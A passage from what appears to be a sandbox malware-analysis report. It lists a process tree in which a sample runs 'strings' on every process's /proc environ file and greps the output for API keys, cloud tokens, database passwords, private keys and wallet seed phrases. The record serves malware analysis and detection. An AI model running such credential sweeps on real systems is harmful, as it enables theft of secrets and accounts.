  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:943
- /usr/bin/strings
  strings /proc/17/environ
  2⤵
  - Reads runtime system information
  PID:942
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/strings
  strings /proc/18/environ
  2⤵
  - Reads runtime system information
  PID:944
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:947
- /usr/bin/strings
  strings /proc/19/environ
  2⤵
  PID:946
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:949
- /usr/bin/strings
  strings /proc/2/environ
  2⤵
  - Reads runtime system information
  PID:948
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:951
- /usr/bin/strings
  strings /proc/20/environ
  2⤵
  PID:950
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:953
- /usr/bin/strings
  strings /proc/21/environ
  2⤵
  - Reads runtime system information
  PID:952
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:955
- /usr/bin/strings
  strings /proc/22/environ
  2⤵
  - Reads runtime system information
  PID:954
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:957
- /usr/bin/strings
  strings /proc/23/environ
  2⤵
  - Reads runtime system information
  PID:956
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:959
- /usr/bin/strings
  strings /proc/230/environ
  2⤵
  - Reads runtime system information
  PID:958
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:961
- /usr/bin/strings
  strings /proc/24/environ
  2⤵
  - Reads runtime system information
  PID:960
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:963
- /usr/bin/strings
  strings /proc/3/environ
  2⤵
  - Reads runtime system information
  PID:962
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:965
- /usr/bin/strings
  strings /proc/314/environ
  2⤵
  - Reads runtime system information
  PID:964
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:967
- /usr/bin/strings
  strings /proc/316/environ
  2⤵
  - Reads runtime system information
  PID:966
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:969
- /usr/bin/strings
  strings /proc/317/environ
  2⤵
  - Reads runtime system information
  PID:968
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:971
- /usr/bin/strings
  strings /proc/320/environ
  2⤵
  - Reads runtime system information
  PID:970
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:973
- /usr/bin/strings
  strings /proc/321/environ
  2⤵
  - Reads runtime system information
  PID:972
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:975
- /usr/bin/strings
  strings /proc/36/environ
  2⤵
  - Reads runtime system information
  PID:974
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:977
- /usr/bin/strings
  strings /proc/37/environ
  2⤵
  PID:976
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:979
- /usr/bin/strings
  strings /proc/372/environ
  2⤵
  - Reads runtime system information
  PID:978
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:981
- /usr/bin/strings
  strings /proc/373/environ
  2⤵
  - Reads runtime system information
  PID:980
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:983
- /usr/bin/strings
  strings /proc/382/environ
  2⤵
  - Reads runtime system information
  PID:982
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:985
- /usr/bin/strings
  strings /proc/4/environ
  2⤵
  - Reads runtime system information
  PID:984
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:987
- /usr/bin/strings
  strings /proc/407/environ
  2⤵
  PID:986
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:989
- /usr/bin/strings
  strings /proc/5/environ
  2⤵
  - Reads runtime system information
  PID:988
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:991
- /usr/bin/strings
  strings /proc/6/environ
  2⤵
  - Reads runtime system information
  PID:990
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:993
- /usr/bin/strings
  strings /proc/659/environ
  2⤵
  - Reads runtime system information
  PID:992
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:995
- /usr/bin/strings
  strings /proc/663/environ
  2⤵
  PID:994
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:997
- /usr/bin/strings
  strings /proc/666/environ
  2⤵
  - Reads runtime system information
  PID:996
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:999
- /usr/bin/strings
  strings /proc/667/environ
  2⤵
  - Reads runtime system information
  PID:998
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1001
- /usr/bin/strings
  strings /proc/668/environ
  2⤵
  - Reads runtime system information
  PID:1000
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1003
- /usr/bin/strings
  strings /proc/69/environ
  2⤵
  PID:1002
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1005
- /usr/bin/strings
  strings /proc/7/environ
  2⤵
  PID:1004
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1007
- /usr/bin/strings
  strings /proc/700/environ
  2⤵
  - Reads runtime system information
  PID:1006
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1009
- /usr/bin/strings
  strings /proc/702/environ
  2⤵
  PID:1008
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1011
- /usr/bin/strings
  strings /proc/703/environ
  2⤵
  - Reads runtime system information
  PID:1010
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1013
- /usr/bin/strings
  strings /proc/706/environ
  2⤵
  - Reads runtime system information
  PID:1012
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1015
- /usr/bin/strings
  strings /proc/71/environ
  2⤵
  - Reads runtime system information
  PID:1014
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1017
- /usr/bin/strings
  strings /proc/72/environ
  2⤵
  - Reads runtime system information
  PID:1016
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1019
- /usr/bin/strings
  strings /proc/721/environ
  2⤵
  - Reads runtime system information
  PID:1018
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1021
- /usr/bin/strings
  strings /proc/73/environ
  2⤵
  - Reads runtime system information
  PID:1020
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1023
- /usr/bin/strings
  strings /proc/74/environ
  2⤵
  PID:1022
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1025
- /usr/bin/strings
  strings /proc/75/environ
  2⤵
  - Reads runtime system information
  PID:1024
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1027
- /usr/bin/strings
  strings /proc/76/environ
  2⤵
  PID:1026
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1029
- /usr/bin/strings
  strings /proc/77/environ
  2⤵
  PID:1028
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1031
- /usr/bin/strings
  strings /proc/78/environ
  2⤵
  - Reads runtime system information
  PID:1030
- /bin/grep
